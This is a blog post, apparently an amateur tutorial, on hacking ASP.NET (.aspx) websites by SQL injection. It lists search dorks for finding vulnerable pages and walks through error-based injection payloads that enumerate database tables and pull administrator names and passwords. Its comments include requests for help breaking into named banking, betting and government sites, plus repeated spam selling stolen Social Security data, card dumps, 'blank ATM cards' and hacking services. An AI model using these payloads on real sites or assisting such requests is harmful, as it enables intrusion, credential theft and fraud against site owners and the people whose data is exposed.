Friday

Hacking Aspx websites

hey guys in this tutorial i will show you how to make a injection on a aspx based website.

1) seach aaspx website.
for this step you can use one of this dorks
".aspx?bookID="
".aspx?cart="
".aspx?cartID="
".aspx?catalogid="
".aspx?category_list="
".aspx?CategoryID="
".aspx?catID="
".aspx?cid="
".aspx?code_no="
".aspx?code="
".aspx?designer="
".aspx?framecode="
".aspx?id="
".aspx?idcategory="
".aspx?idproduct="
".aspx?intCatalogID="
".aspx?intProdId="
".aspx?item_id="
".aspx?item="
".aspx?itemID="
".aspx?maingroup="
".aspx?misc="
".aspx?newsid="
".aspx?order_id="
".aspx?p="
".aspx?pid="
".aspx?ProdID="
".aspx?product_id="
".aspx?product="
".aspx?productid="
".aspx?showtopic="
".aspx?Sku="
".aspx?storeid="
".aspx?style_id="
".aspx?StyleID="
".aspx?userID="
".aspx?Id="

2) If you found one lets check if the website is vulnverable. Add this text after the url
"order by 1--"
example : http://www.target.com/index.aspx?Id=1 order by 1--
Now you will get a Error : "Page not found" or something like that.

3) Lets go on and begin with the Injection the first step of every injection is to find out the columns.
for this step we use :
"having 1=1"
you only have to copy it behind the url
example : http://www.target.com/index.aspx?Id=1 having 1=1

4) Well lets go on and search the tables. Use this code for it
and 1=convert
example : http://www.target.com/index.aspx?Id=1 and 1=convert
The output is the first table of the databse. But this table don't helps you .
You need to find the admin table.
Use this query to get the next table :
"and 1=convert
(int,(select top 1 table_name from information_schema.tables where
table_name not in ('Tab_FinalOrder')))"

example : http://www.target.com/index.aspx?Id=1 and 1=convert
(int,(select top 1 table_name from information_schema.tables where
table_name not in ('Tab_FinalOrder')))

Now we get the name of the admin table. The Admintable name is in this example "Administration"

5) Now lets get into the table Administration
use this query for it:
and 1=convert

"(int,(select top 1 column_name from information_schema.
columns where table_name = 'AdminMaster'))"

example : http://www.target.com/index.aspx?Id=1 and 1=convert
(int,(select top 1 column_name from information_schema.
columns where table_name = 'AdminMaster'))

6) Our results are the tables "AdminName" and "AdminPassword"
Now have dont the most part of this injection. The last step is to find out Adminname and Adminpassword.

Query for Admin name :
"and 1=convert(int,(select top 1 AdminName from Administration))"
example : http://www.target.com/index.aspx?Id=1 and 1=convert(int,(select top 1 AdminName from Administration))

Query for Admin pass :
"and 1=convert(int,(select top 1 AdminPassword from Administration))"
example : http://www.target.com/index.aspx?Id=1 and 1=convert(int,(select top 1 AdminPassword from Administration))

7) So now your are nearly finish. You only need to find out the Admin Login Pannel.

25 comments:

  1. http://vagadleva.commutree.com/Home.aspx/accounts/

    i am trying to hack this website but i am not able to hack this web site.

    please help me for the same..

    ReplyDelete
    Replies
    1. We Bring To You Good News For Blank ATM Cards And Bitcoin Investments..
      Have you been trying to get a real blank ATM Card or bitcoin and it has been a problem trying to get one? Here is official hacking company  easy and affordable to get and it can be delivered to you waiting 24hrs after you have made your order from me at: officialhackingcompany@gmail.com 
      We have special cash loaded programmed ATM card and bitcoin for you to meet up with those needs of yours and also start up your own business. Our ATM card can be used to withdraw cash at any ATM or swipe, stores and POS. Our cards has daily withdrawal limit depending on the card balance you order.You can make from $2500 to $50,000.00 In USD And EUR depending on the card you order, we have various amount withdrawal list with our Programmed card. Contact us today for your own order at : officialhackingcompany@gmail.com 
      Western Union/Money Gram TransferWalmart TransferRemoving of name from debit record and criminal Account top-upBitcoin InvestmentsWe can also help you hack into any software you wish or want us to hack into too.
      Do contact for more info and also on how you are going to get your order..Order yours today via Email: Gmail-Compose mail to: officialhackingcompany@gmail.com visit our website: https://official-hacking-company.jimdosite.com/

      Delete
    2. FUCK YOUR PUSSY!!!COCKSUCKER!

      Delete
    3. Hi Guy's

      Fresh & valid spammed USA SSN+Dob Leads with DL available in bulk.

      >>1$ each SSN+DOB
      >>2$ each with SSN+DOB+DL
      >>5$ each for premium (also included relative info)

      Prices are negotiable in bulk order
      Serious buyer contact me no time wasters please
      Bulk order will be preferable

      CONTACT
      Telegram > @leadsupplier
      ICQ > 752822040
      Email > leads.sellers1212@gmail.com

      OTHER STUFF YOU CAN GET

      SSN+DOB Fullz
      CC's with CVV's (vbv & non-vbv)
      USA Photo ID'S (Front & back)

      All type of tutorials available
      (Carding, spamming, hacking, scam page, Cash outs, dumps cash outs)

      SMTP Linux Root
      DUMPS with pins track 1 and 2
      Socks, rdp's, vpn's
      Server I.P's
      HQ Emails with passwords

      Looking for long term business
      For trust full vendor, feel free to contact

      CONTACT
      Telegram > @leadsupplier
      ICQ > 752822040
      Email > leads.sellers1212@gmail.com

      Delete
    4. FRESH&VALID SPAMMED USA DATABASE/FULLZ/LEADS

      ****Contact****
      *ICQ :748957107
      *Gmail :fullzvendor111@gmail.com
      *Telegram :@James307
      *Skype : Jamesvince$
      <><><><><><><>
      USA SSN FULLZ WITH ALL PERSONAL DATA+DL NUMBER
      -FULLZ FOR PUA & SBA
      -FULLZ FOR TAX REFUND
      $2 for each fullz/lead with DL num
      $1 for each SSN+DOB
      $5 for each with Premium info
      ID's Photos For any state (back & front)
      (Price can be negotiable if order in bulk)
      <><><><><><><><><><><>
      +High quality and connectivity
      +If you have any trust issue before any deal you may get few to test
      +Every leads are well checked and available 24 hours
      +Fully cooperate with clients
      +Any invalid info found will be replaced
      +Payment Method(BTC,USDT,ETH,LTC & PAYPAL)
      +Fullz available according to demand too i.e (format,specific state,specific zip code & specifc name etc..)
      <><><><><><><><><><>
      +US cc Fullz
      +(Dead Fullz)
      +(Email leads with Password)
      +(Dumps track 1 & 2 with pin and without pin)
      +Hacking & Carding Tutorials
      +Smtp Linux
      +Safe Sock
      +Server I.P's
      +HQ Emails with passwords
      <><><><><><><><>
      *Let's do a long term business with good profit
      *Contact for more details & deal

      ****Contact****
      *ICQ :748957107
      *Gmail :fullzvendor111@gmail.com
      *Telegram :@James307
      *Skype : Jamesvince$

      Delete
  2. http://portal.nysc.org.ng/nysc/signin.aspx
    I am trying to hack this site but could not due to ?id=1 or some thing.
    Please help me

    ReplyDelete
  3. This comment has been removed by the author.

    ReplyDelete
  4. Please i am trying to hack bet9ja.com. i want to be able to alter my bets. Please help me out

    ReplyDelete
  5. please im trying to hack http://admin.mybet9ja.com/Guest/Login.aspx?ReturnUrl=%2f
    anyway you can help?

    ReplyDelete
  6. please im trying to hack http://admin.mybet9ja.com/Guest/Login.aspx?ReturnUrl=%2f
    anyway you can help?
    please reach me on my personal email mcyomi12 @ yahoo.com

    ReplyDelete
  7. I want to hack this website Please help this so important for me
    http://evisa.mfa.ir/index.aspx?fkeyid=&siteid=459&pageid=27926

    ReplyDelete
  8. Are you in a financial crisis, looking for money to start your own business or to pay your bills?
    GET YOUR BLANK ATM CREDIT CARD AT AFFORDABLE PRICE*
    We sell this cards to all our customers and interested buyers
    worldwide,Tho card has a daily withdrawal limit of $5000 and up to $50,000
    spending limit in stores and unlimited on POS.

    YOU CAN ALSO MAKE BINARY INVESTMENTS WITH LITTLE AS $500 AND GET $10,000 JUST IN SEVEN DAYS

    **WHAT WE OFFER**

    *1)WESTERN UNION TRANSFERS/MONEY GRAM TRANSFER*
    *2)BANKS LOGINS*
    *3)BANKS TRANSFERS*
    *4)CRYPTO CURRENCY MINNING*
    *5)BUYING OF GIFT CARDS*
    *6)LOADING OF ACCOUNTS*
    *7)WALMART TRANSFERS*
    *8)BITCOIN INVESTMENTS*
    *9)REMOVING OF NAME FROM DEBIT RECORD AND CRIMINAL RECORD*
    *10)BANK HACKING*
    **email blankatmmasterusa@gmail.com *
    **you can also call or whatsapp us Contact us today for more enlightenment *
    *+1(539) 888-2243*
    **BEWARE OF SCAMMERS AND FAKE HACKERS IMPERSONATING US BUT THEY ARE NOT
    FROM *
    *US CONTACT US ONLY VIA THIS CONTACT **
    *WE ARE REAL AND LEGIT...........

    2020 FUNDS/FORGET ABOUT GETTING A LOAN..*

    IT HAS BEEN TESTED AND TRUSTED

    ReplyDelete
  9. email: visacreditcardsolution@gmail.comGET YOUR BLANK ATM CREDIT CARD AT AFFORDABLE PRICE*
    **We sell these cards to all our customers and interested buyers
    worldwide,the card has a daily withdrawal limit of $5000 and up to $50,000
    spending limit in stores and unlimited on POS.**

    **WHAT WE OFFER**

    *1)WESTERN UNION TRANSFERS/MONEY GRAM TRANSFER*
    *2)BANKS LOGINS*
    *3)BANKS TRANSFERS*
    *4)CRYPTO CURRENCY MINNING*
    *5)BUYING OF GIFT CARDS*
    *6)LOADING OF ACCOUNTS*
    *7)WALMART TRANSFERS*
    *8)BITCOIN INVESTMENTS*
    *9)REMOVING OF NAME FROM DEBIT RECORD AND CRIMINAL RECORD*
    *10)BANK HACKING*

    ReplyDelete
  10. He is no scam,i tested him and he delivered a good job,he helped me settle bank loans,he also helped my son upgrade his scores at high school final year which made him graduate successfully and he gave my son free scholarship into the college,all i had to do was to settle the bills for the tools on the job,i used $500 to get a job of over $50000 done all thanks to Walt,he saved me from all my troubles,sharing this is how i can show gratitude in return for all he has done for me and my family

    Gmail; Brillianthackers800@gmail.com
    Whatsapp number; +1(224)2140835

    ReplyDelete
  11. Never give a woman 100% of your trust, I fell victim because I gave my wife 100% trust and yet she disappointed me all thanks to hackers who help a lot of people when it comes to cloning of phones. Thank you verifiedprohackers@gmail.com for a job well done if not for you i would have been in the dark.

    ReplyDelete

  12. Cool way to have financial freedom!!! Are you tired of living a poor life, here is the opportunity you have been waiting for. Get the new ATM BLANK CARD that can hack any ATM MACHINE and withdraw money from any account. You do not require anybody’s account number before you can use it. Although you and I knows that its illegal,there is no risk using it. It has SPECIAL FEATURES, that makes the machine unable to detect this very card,and its transaction can’t be traced .You can use it anywhere in the world. With this card,you can withdraw nothing less than $4,500 a day. So to get the card,reach the hackers via email address : besthackersworld58@gmail.com or whatsapp him on +1(323)-723-2568

    ReplyDelete
  13. HOW I GO MY DESIRED LOAN AMOUNT FROM A RELIABLE AND TRUSTED LOAN COMPANY LAST WEEK. Email for immediate response: drbenjaminfinance@gmail.com Call/Text: +1(415)630-7138 Whatsapp +19292227023

    Hello everyone, My name is Mr.Justin Riley Johnson, I am from Texas, United State, am here to testify of how i got my loan from BENJAMIN LOAN INVESTMENTS FINANCE(drbenjaminfinance@gmail.com) after i applied Two times from various loan lenders who claimed to be lenders right here this forum,i thought their lending where real and i applied but they never gave me loan until a friend of mine introduce me to {Dr.Benjamin Scarlet Owen} the C.E.O of BENJAMIN LOAN INVESTMENTS FINANCE who promised to help me with a loan of my desire and he really did as he promised without any form of delay, I never thought there are still reliable loan lenders until i met {Dr.Benjamin Scarlet Owen}, who really helped me with my loan and changed my life for the better. I don't know if you are in need of an urgent loan also, So feel free to contact Dr.Benjamin Scarlet Owen on his email address: drbenjaminfinance@gmail.com BENJAMIN LOAN INVESTMENTS FINANCE holds all of the information about how to obtain money quickly and painlessly via Whatsapp +19292227023 Email: drbenjaminfinance@gmail.com and consider all your financial problems tackled and solved. Share this to help a soul right now, Thanks

    ReplyDelete

  14. My Name is Eric Morgan , I was searching for loan to sort out my bills& debts, then i saw comments about Blank ATM Credit Card that can be hacked to withdraw money from any ATM machines around you . I doubted thus but decided to give it a try by contacting oscarwhitehackersworld@gmail.com or whats-app +1(323)-362-2310 they responded with their guidelines on how the card works. I was assured that the card can withdraw $4,500 instant per day and also carry out online purchase with the card , so i requested for one & paid the delivery fee to obtain the card, after 24 hours later, i was shock to see the UPS agent in my resident with a parcel{card} i signed and went back inside and confirmed the card work's after the agent left. This is no doubts because i have the card & has made used of the card. This hackers are USA based hackers set out to help people with financial freedom,contact Mr Oscar white and gain your financail freedom : oscarwhitehackersworld@gmail.com or whats-app +1(323)-362-2310

    ReplyDelete
  15. I was searching for loan to sort out my bills& debts, then i saw comments about Blank ATM Credit Card that can be hacked to withdraw money from any ATM machines around you . I doubted thus but decided to give it a try by contacting (smithhackingcompanyltd@gmail.com} they responded with their guidelines on how the card works. I was assured that the card can withdraw $5,000 instant per day & was credited with$50,000,000.00 so i requested for one & paid the delivery fee to obtain the card, after 24 hours later, i was shock to see the UPS agent in my resident with a parcel{card} i signed and went back inside and confirmed the card work's after the agent left. This is no doubts because i have the card & has made used of the card. This hackers are USA based hackers set out to help people with financial freedom!! Contact these email if you wants to get rich with this Via: smithhackingcompanyltd@gmail.com or WhatsApp +1(360)6370612

    ReplyDelete
  16. INSTEAD OF GETTING A LOAN Check out these blank ATM cards today!!

    My name is Oliver Grey from New York. A successful business owner and father. I got one of these already programmed blank ATM cards that allows me withdraw a maximum of $5,000 daily for 30 days. I am so happy about these cards because I received mine last week and have already used it to get $20,000. Mr Oscar White is giving out these cards to support people in any kind of financial problem. I must be sincere to you, when i first saw the advert, I believed it to be illegal and a hoax but when I contacted Mr Oscar White, he confirmed to me that although it is illegal, nobody gets caught while using these cards because they have been programmed to disable every communication once inserted into any Automated Teller Machine(ATM). If interested contact Mr Oscar White and gain financial freedom like me oscarwhitehackersworld@gmail.com or whats-app +1(513)-299-8247 as soon as possible .

    God Bless

    ReplyDelete
  17. Wow! Such an amazing and helpful post this is. I really really love it. It's so good and so awesome. I am just amazed. I hope that you continue to do your work like this in the future also Credit Cards

    ReplyDelete
  18. Hi Guy's

    Fresh & valid spammed USA SSN+Dob Leads with DL available in bulk.

    >>1$ each SSN+DOB
    >>2$ each with SSN+DOB+DL
    >>5$ each for premium (also included relative info)

    Prices are negotiable in bulk order
    Serious buyer contact me no time wasters please
    Bulk order will be preferable

    CONTACT
    Telegram > @leadsupplier
    ICQ > 752822040
    Email > leads.sellers1212@gmail.com

    OTHER STUFF YOU CAN GET

    SSN+DOB Fullz
    CC's with CVV's (vbv & non-vbv)
    USA Photo ID'S (Front & back)

    All type of tutorials available
    (Carding, spamming, hacking, scam page, Cash outs, dumps cash outs)

    SMTP Linux Root
    DUMPS with pins track 1 and 2
    Socks, rdp's, vpn's
    Server I.P's
    HQ Emails with passwords

    Looking for long term business
    For trust full vendor, feel free to contact

    CONTACT
    Telegram > @leadsupplier
    ICQ > 752822040
    Email > leads.sellers1212@gmail.com

    ReplyDelete
  19. I recently needed a private investigator or a hacker to help me pull one or two strings for the successful completion of my goal. Over the years I have came in contact with different types of scammers and users until I almost gave up then I heard of the name WHITEHATS- To my greatest surprise it came out that the WHITECOLLARS are all I have been searching for many years. Contact them for any hacking services for ease and fast delivery of any operation that involves a computer, other services like Phone Spy, Phone hack, Phone tracking, Credit boost up with all credit bureaus, Credit card top up, Bank Loading and many more. Mail- WhitehatspytechATcyberservicesDOTcom or WhitehatstechAtgmailDotcom, YOU WILL BE SURE TO THANK ME LATER

    ReplyDelete
  20. https://internet.dfcugroup.com/SignIn.aspx?sto=1
    Kindly help me to hack this site

    ReplyDelete
  21. FRESH&VALID SPAMMED USA DATABASE/FULLZ/LEADS

    ****Contact****
    *ICQ :748957107
    *Gmail : groothighx@gmail.com
    *Telegram : @James307
    *Skype : Jamesvince$
    <><><><><><><>
    USA SSN FULLZ WITH ALL PERSONAL DATA+DL NUMBER
    -FULLZ FOR PUA & SBA
    -FULLZ FOR TAX REFUND
    $2 for each fullz/lead with DL num
    $1 for each SSN+DOB
    $5 for each with Premium info
    ID's Photos For any state (back & front)
    (Price can be negotiable if order in bulk)
    <><><><><><><><><><><>
    +High quality and connectivity
    +If you have any trust issue before any deal you may get few to test
    +Every leads are well checked and available 24 hours
    +Fully cooperate with clients
    +Any invalid info found will be replaced
    +Payment Method(BTC,USDT,ETH,LTC & PAYPAL)
    +Fullz available according to demand too i.e (format,specific state,specific zip code & specifc name etc..)
    <><><><><><><><><><>
    +US cc Fullz
    +(Dead Fullz)
    +(Email leads with Password)
    +(Dumps track 1 & 2 with pin and without pin)
    +Hacking & Carding Tutorials
    +Smtp Linux
    +Safe Sock
    +Server I.P's
    +HQ Emails with passwords
    <><><><><><><><>
    *Let's do a long term business with good profit
    *Contact for more details & deal

    ****Contact****
    *ICQ :748957107
    *Gmail: groothighx@gmail.com
    *Telegram :@James307
    *Skype : Jamesvince$

    ReplyDelete

Related Posts Plugin for WordPress, Blogger...